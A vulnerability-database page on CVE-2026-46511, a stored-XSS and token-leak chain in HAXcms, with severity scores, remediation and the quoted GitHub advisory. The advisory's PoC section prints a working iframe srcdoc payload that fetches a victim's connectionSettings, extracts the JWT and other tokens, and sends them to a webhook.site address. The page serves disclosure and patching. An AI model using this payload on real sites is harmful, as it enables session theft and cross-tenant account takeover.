Skip to main content

HAXcms CVE-2026-46511

| EUVDEUVD-2026-34890 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-19 https://github.com/haxtheweb/issues GHSA-x3x5-7h4h-gwxg
8.7
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privilege editor
  2. Delivery
    Inject stored XSS via iframe srcdoc
  3. Exploit
    Victim renders compromised page
  4. Install
    Script fetches /<victim>/system/api/connectionSettings
  5. C2
    Parse JWT and tokens from window.appSettings
  6. Execute
    Exfiltrate base64 payload via image webhook
  7. Impact
    Replay tokens for cross-tenant account takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) an authenticated account on the target HAXcms instance with edit access to at least one site so the attacker can plant the stored-XSS payload (e.g., raw HTML source containing an <iframe srcdoc> or a <video-player> element with crafted attributes), (2) a victim user with an active authenticated PHPSESSID who renders the attacker-controlled content in their browser (no click or form interaction beyond viewing), and (3) the vulnerable /system/api/connectionSettings endpoint being reachable from the victim's session - which it is by default in @haxtheweb/haxcms-nodejs <= 25.0.0. Exploitation is LIMITED by the need for that initial editor-tier authenticated foothold (PR:L in the CVSS vector), by the victim actually loading the booby-trapped page, and by HAXcms-specific deployments only - single-tenant instances still suffer token theft but do not gain the cross-tenant hijack benefit; no special non-default configuration is required.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H, score 8.7) reflects network-reachable, low-complexity exploitation requiring only low-privilege authenticated access (any user with edit rights on a site) and no user interaction beyond visiting an attacker-controlled page - a realistic precondition in a multi-tenant CMS where edit accounts are common. EPSS, SSVC, and CISA KEV data are not provided in the input, so probability of mass exploitation cannot be quantified; however, the detailed working PoC published in the GitHub Security Advisory materially lowers the bar to weaponization. The main signal tension worth flagging is that CVSS scope/subsequent-impact metrics are marked N (SC:N/SI:N/SA:N) even though the attack explicitly crosses tenant boundaries - defenders should treat the real blast radius as cross-tenant administrative compromise rather than the scope-unchanged framing the vector suggests, making this a genuine priority for any HAXcms deployment with more than one tenant.

Exploit ScenarioDerived

An attacker registers or compromises any low-privilege editor account on a multi-tenant HAXcms instance and injects a hidden iframe with srcdoc-based JavaScript into a page they can edit (the reporter's PoC uses exactly this pattern). When a higher-privileged victim (e.g., another tenant or admin) views the page, the script silently issues fetch('/<victim>/system/api/connectionSettings'), the server returns the victim's JWT plus user_token, site_token, and appstore_token under the implicit session cookie, and the tokens are base64-encoded and exfiltrated via an <img> request to a webhook - giving the attacker full account-takeover capability without ever seeing the victim's password.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Jun 05, 2026

Cross-tenant account takeover in HAXcms (npm package @haxtheweb/haxcms-nodejs <= 25.0.0) allows an authenticated attacker with edit access to chain a stored XSS flaw with token leakage in the /system/api/connectionSettings endpoint to hijack other tenants' sessions. The endpoint exposes the victim's JWT, user_token, site_token, and appstore_token via the window.appSettings global, letting injected JavaScript silently exfiltrate them to an attacker-controlled webhook and fully impersonate the victim. A detailed reporter-supplied PoC exists in the GitHub Security Advisory, though there is no public exploit identified at time of analysis as a packaged weapon and no CISA KEV entry.

Earlier versions of this analysis (1)
v1 May 19, 2026 - 15:30

Cross-tenant account takeover in HAXcms (@haxtheweb/haxcms-nodejs <= 25.0.0) chains Stored XSS with a token-leaking /system/api/connectionSettings endpoint to let an authenticated low-privilege attacker hijack arbitrary user sessions. By injecting script via Stored XSS vectors (such as iframe srcdoc or <video-player>), an attacker forces a victim's browser to fetch any target user's connection settings - which dynamically returns the active session's JWT, user_token, site_token, and appstore_token - and exfiltrates them to an attacker-controlled webhook. A detailed PoC is published in the GHSA advisory; this is publicly available exploit code exists, with no public exploitation in the wild reported at time of analysis.

RemediationAI

Vendor-released patch: upgrade @haxtheweb/haxcms-nodejs to 26.0.0 or later as published in GHSA-x3x5-7h4h-gwxg (https://github.com/haxtheweb/issues/security/advisories/GHSA-x3x5-7h4h-gwxg), which is the only confirmed fix. Where immediate upgrade is not possible, compensating controls include tightening the trust model around edit accounts (require manual approval for new editor-tier users to shrink the pool of potential XSS injectors), restricting access to the /system/api/connectionSettings endpoint at a reverse proxy by enforcing that the URL-path tenant matches the authenticated session's username (this will break legitimate cross-site editing workflows for users who manage multiple tenants), and adding a strict Content-Security-Policy with script-src 'self' plus disallowed inline scripts and iframe srcdoc to neutralize the documented XSS sinks (note this may break HAXcms web components and admin UI features that rely on inline scripts and must be tested before deployment). Rotating all JWT signing keys and per-user tokens after patching is recommended in case prior exploitation occurred.

Affected VersionsENISA

haxcms-php < 26.0.0
haxcms-nodejs < 26.0.0

Affected Packages

npm @haxtheweb/haxcms-nodejs fix: 26.0.0
euvd haxcms_nodejs fix: 26.0.0
euvd haxcms_php fix: 26.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HAXcms is a PHP/Node.js headless CMS (npm package @haxtheweb/haxcms-nodejs) that isolates tenants by URL path (/<username>/) and uses cryptographically signed JWTs plus per-feature tokens (user_token, site_token, appstore_token) for backend authentication. The flaw stems from CWE-79 (Improper Neutralization of Input During Web Page Generation) - Operations.php's connectionSettings() method bootstraps the frontend by writing all active-session tokens into a global window.appSettings JavaScript variable, while stored XSS sinks (e.g., iframe srcdoc and the <video-player> element) allow arbitrary script execution in the authenticated origin. Because authorization on /system/api/connectionSettings is bound to the PHPSESSID cookie rather than to the URL-path tenant, a malicious fetch under /<victim>/system/api/connectionSettings issued from the victim's browser is honored and returns the victim's tokens - collapsing the tenant isolation boundary into a single XSS-reachable chokepoint.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Analysis Updated
Jun 05, 2026 - 19:32 vuln.today
v2 - CVSS changed
CVSS changed
Jun 05, 2026 - 19:22 NVD
8.7 (HIGH)

DescriptionGitHub Advisory

Summary

An attack chain utilizing Stored XSS alongside dynamic token exposure in the /system/api/connectionSettings endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the jwt, user_token, site_token, and appstore_token) into a global JavaScript variable (window.appSettings). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook.

Details

In Operations.php (connectionSettings()), the system returns a Javascript object designed to bootstrap the frontend context. This object, window.appSettings, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session.

While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically:

  1. The Vector: The system is vulnerable to Stored XSS (e.g., via injected iframe srcdoc or <video-player>).
  2. The Exposure: Because the connectionSettings endpoint serves the tokens locally based on the active PHPSESSID cookie, any malicious script running in the browser context can intercept these keys.
  3. The Chain: HAXcms isolates user environments by URL path (/<username>/). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via fetch('/<username>/system/api/connectionSettings'). Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens.

PoC

1. Setup the Webhook Target Prepare an external webhook (e.g., webhook.site) to receive the stolen data.

2. Inject the "Kill Chain" Payload As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an <iframe>):

html
<iframe srcdoc="<script>
    const targetUsername = 'bto108'; // Replace with target victim

    fetch(`/${targetUsername}/system/api/connectionSettings`)
      .then(res => res.text())
      .then(data => {
          const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1));

          const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token');
          const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token');

          let aToken = 'N/A';
          if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) {
              aToken = s.appStore.params.appstore_token;
          }

          // Exfiltrate via Image Request to bypass CORS
          const payload = btoa(JSON.stringify({
              target: targetUsername,
              jwt: s.jwt,
              user_token: uToken,
              site_token: sToken,
              appstore_token: aToken
          }));

          new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`;
      });
</script>" style="display:none"></iframe>

3. Execution & Verification

  • When the victim (e.g., user bto108) views the compromised page, their browser automatically fires the fetch request, silently attaching their active session cookie.
  • The server responds with their connection settings.
  • The script parses their jwt, user_token, and other keys, encoding them in base64.
  • The attacker receives the full JWT and token dump on their webhook.

*Screenshots confirming the data leakage and webhook capture:* !Connection Settings Exposure !Secondary Settings Leak !Cross-tenant Exfiltration Console !Webhook Payload Capture !Stolen Data Result

Impact

Critical Severity. This attack completely compromises the primary defense mechanism of the CMS. By stealing the jwt and user_token, the attacker achieves total account hijacking without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content).

The reliance on a global Javascript variable (window.appSettings) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.

Executive ViewAI

Why It Matters

HAXcms (npm @haxtheweb/haxcms-nodejs ≤25.0.0) allows attackers with edit access to steal session tokens and hijack other users' accounts; publicly available exploit code exists for this vulnerability. Organizations using affected versions risk account takeover, unauthorized data access, and compliance violations across all connected tenants.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy